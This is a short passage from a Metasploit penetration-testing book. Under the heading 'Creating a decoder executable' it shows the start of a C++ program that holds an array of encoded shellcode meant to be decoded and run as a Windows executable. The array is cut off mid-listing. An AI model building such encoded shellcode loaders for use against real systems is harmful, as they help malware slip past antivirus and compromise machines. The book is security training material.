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Metasploit Bootcamp by Nipun Jaswal

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Creating a decoder executable

Let us use the newly generated shellcode to write a program that will produce an executable, as follows:

#include <Windows.h>#include <iostream>#include <iomanip>#include <conio.h>unsigned char encoded[] ="\x57\x43\x29\xab\xab\xab\xcb\x22\x4e\x9a\x6b\xcf\x20\xfb\x9b""\x20\xf9\xa7\x20\xf9\xbf\x20\xd9\x83\xa4\x1c\xe1\x8d\x9a\x54""\x7\x97\xca\xd7\xa9\x87\x8b\x6a\x64\xa6\xaa\x6c\x49\x59\xf9""\xfc\x20\xf9\xbb\x20\xe1\x97\x20\xe7\xba\xd3\x48\xe3\xaa\x7a""\xfa\x20\xf2\x8b\xaa\x78\x20\xe2\xb3\x48\x91\xe2\x20\x9f\x20""\xaa\x7d\x9a\x54\x7\x6a\x64\xa6\xaa\x6c\x93\x4b\xde\x5d\xa8""\xd6\x53\x90\xd6\x8f\xde\x4f\xf3\x20\xf3\x8f\xaa\x78\xcd\x20""\xa7\xe0\x20\xf3\xb7\xaa\x78\x20\xaf\x20\xaa\x7b\x22\xef\x8f""\x8f\xf0\xf0\xca\xf2\xf1\xfa\x54\x4b\xf4\xf4\xf1\x20\xb9\x40" ...

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